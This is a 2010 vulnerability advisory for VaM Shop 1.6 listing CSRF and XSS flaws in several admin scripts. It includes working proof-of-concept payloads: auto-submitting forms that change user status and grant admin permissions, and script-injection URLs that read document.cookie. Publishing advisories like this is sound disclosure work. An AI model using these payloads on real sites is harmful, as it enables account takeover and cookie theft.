Vulnerability ID: HTB22780
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_vam_shop.html
Product: VaM Shop
Vendor: Vamsoft ( http://vamshop.ru/)
Vulnerable Version:1.6and Probably Prior Versions
Vendor Notification:28 December 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "admin/accounting.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available. Change user status:<form action="http://host/admin/customers.php?page=1&cID=USERID&action=statusconfirm" method="post" name="main"><inputtype="hidden" name="status" value="0"></form><script>
document.main.submit();</script>
Change user permissions:<form action="http://host/admin/accounting.php?cID=USERID&action=save" method="post" name="main" enctype="multipart/form-data"><inputtype="hidden" name="access[]" value="configuration"><inputtype="hidden" name="access[]" value="modules"><inputtype="hidden" name="access[]" value="customers"><inputtype="hidden" name="access[]" value="start"><inputtype="hidden" name="access[]" value="content_manager"><inputtype="hidden" name="access[]" value="categories"></form><script>
document.main.submit();</script>
XSS:
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "admin/orders.php" script to properly sanitize user-supplied inputin"status" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
http://host/admin/orders.php?selected_box=customers&status=2"><script>alert(document.cookie)</script>
XSS:
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "admin/configuration.php" script to properly sanitize user-supplied inputin"STORE_NAME" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://host/admin/configuration.php?gID=1&action=save" method="post" name="main"><inputtype="hidden" name="STORE_NAME" value='My Shop"><script>alert(document.cookie)</script>'><inputtype="hidden" name="STORE_OWNER" value="VaM Shop"><inputtype="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@example.com"><inputtype="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc"><inputtype="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected"><inputtype="hidden" name="USE_DEFAULT_LANGUAGE_CURRENCY" value="false"><inputtype="hidden" name="DISPLAY_CART" value="true"><inputtype="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and"><inputtype="hidden" name="STORE_NAME_ADDRESS" value="Address, Country"><inputtype="hidden" name="SHOW_COUNTS" value="true"><inputtype="hidden" name="CURRENT_TEMPLATE" value="vamshop"></form><script>
document.main.submit();</script>
XSS:
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "admin/customers.php" script to properly sanitize user-supplied inputin"search" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
http://host/admin/customers.php?search=1"><script>alert(document.cookie)</script>